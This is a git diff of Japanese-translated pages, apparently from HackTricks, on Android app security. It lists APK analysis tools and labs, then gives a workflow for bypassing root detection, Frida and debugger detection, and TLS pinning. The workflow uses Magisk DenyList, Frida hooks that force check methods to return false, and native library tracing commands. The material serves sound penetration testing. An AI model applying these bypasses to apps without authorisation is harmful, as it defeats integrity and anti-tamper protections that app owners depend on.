APKiDは**APKがどのように作成されたか**に関する情報を提供します。多くの**コンパイラ**、**パッカー**、**難読化ツール**、およびその他の奇妙なものを特定します。これはAndroid用の[_PEiD_](https://www.aldeid.com/wiki/PEiD)です。
### Manual
### マニュアル
[カスタム難読化を逆コンパイルする方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
[カスタム難読化を逆転させる方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
## Labs
## ラボ
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4bは、最新のフレームワーク、チュートリアル、およびリバースエンジニアリングとマルウェア分析のためのさまざまなセキュリティ専門家や研究者からのラボを含む、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンです。
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングやマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
## References
## 参考文献
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) これは素晴らしいリソースのリストです
@ -752,7 +754,7 @@ AndroL4bは、最新のフレームワーク、チュートリアル、および
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
## Yet to try
## まだ試していない
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
このページでは、インスツルメンテーションを検出/ブロックしたり、TLSピンニングを強制するAndroidアプリに対して動的分析を再取得するための実用的なワークフローを提供します。迅速なトリアージ、一般的な検出、および再パッキングなしでバイパスするためのコピー&ペースト可能なフック/戦術に焦点を当てています。
このページでは、インスツルメンテーションを検出/ルートブロックするAndroidアプリやTLSピンニングを強制するアプリに対して動的分析を再取得するための実用的なワークフローを提供します。迅速なトリアージ、一般的な検出、および再パッキングなしでバイパスするためのコピー&ペースト可能なフック/戦術に焦点を当てています。
## Detection Surface (アプリがチェックするもの)
- ルートチェック: suバイナリ、Magiskパス、getprop値、一般的なルートパッケージ
- Frida/デバッガーチェック (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /procのスキャン、クラスパス、ロードされたライブラリ
- ネイティブアンチデバッグ: ptrace(), システムコール、アンチアタッチ、ブレークポイント、インラインフック
- 初期化チェック: Application.onCreate()またはプロセス開始フックがインスツルメンテーションが存在する場合にクラッシュする
- 初期化チェック: Application.onCreate()またはインスツルメンテーションが存在する場合にクラッシュするプロセス開始フック
- TLSピンニング: カスタムTrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscryptピンニング、ネイティブピン
## Step 1 — Quick win: hide root with Magisk DenyList
## Step 1 — クイックウィン: Magisk DenyListでルートを隠す
- MagiskでZygiskを有効にする
- DenyListを有効にし、ターゲットパッケージを追加
- 再起動して再テスト
多くのアプリは明白な指標su/Magiskパス/getpropを探すだけです。DenyListはしばしば単純なチェックを無効化します。
多くのアプリは明らかな指標su/Magiskパス/getpropだけを探します。DenyListはしばしば単純なチェックを無効化します。
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30second Frida Codeshare tests
## Step 2 — 30秒Fridaコードシェアテスト
深く掘り下げる前に一般的なドロップインスクリプトを試してください
深く掘り下げる前に一般的なドロップインスクリプトを試してください:
- anti-root-bypass.js
- anti-frida-detection.js
@ -50,12 +50,12 @@ aobjection --gadget com.example.app explore # if using gadget
```
もしこれが機能すれば、セッションを安定させ、マッピングとスタブチェックを進めます。
## ステップ 4 — Jadxを使用して検出ロジックをマッピングし、文字列をハントする
## ステップ 4 — Jadxを使用した検出ロジックのマッピングと文字列ハンティング
Jadxでの静的トリアージキーワード
Jadxでの静的トリアージキーワード:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
典型的なJavaパターン
典型的なJavaパターン:
```java
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
@ -70,7 +70,7 @@ return getRunningServices().contains("frida");
## ステップ5 — Fridaを使用したランタイムスタブ (Java)
カスタムガードをオーバーライドして、安全な値を返すようにし、再パッキングを行わない:
カスタムガードをオーバーライドして、安全な値を返すようにします。
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -104,7 +104,7 @@ return false;
};
});
```
## ステップ 6 — Java フックが失敗した場合は JNI/ネイティブのトレイルをたどる
## ステップ 6 — Java フックが失敗したときに JNI/ネイティブのトレイルを追う
JNI エントリポイントをトレースして、ネイティブローダーと検出初期化を特定します:
```bash
@ -117,7 +117,7 @@ nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
インタラクティブ/ネイティブリバース:
インタラクティブ/ネイティブリバースエンジニアリング:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida

Some files were not shown because too many files have changed in this diff Show More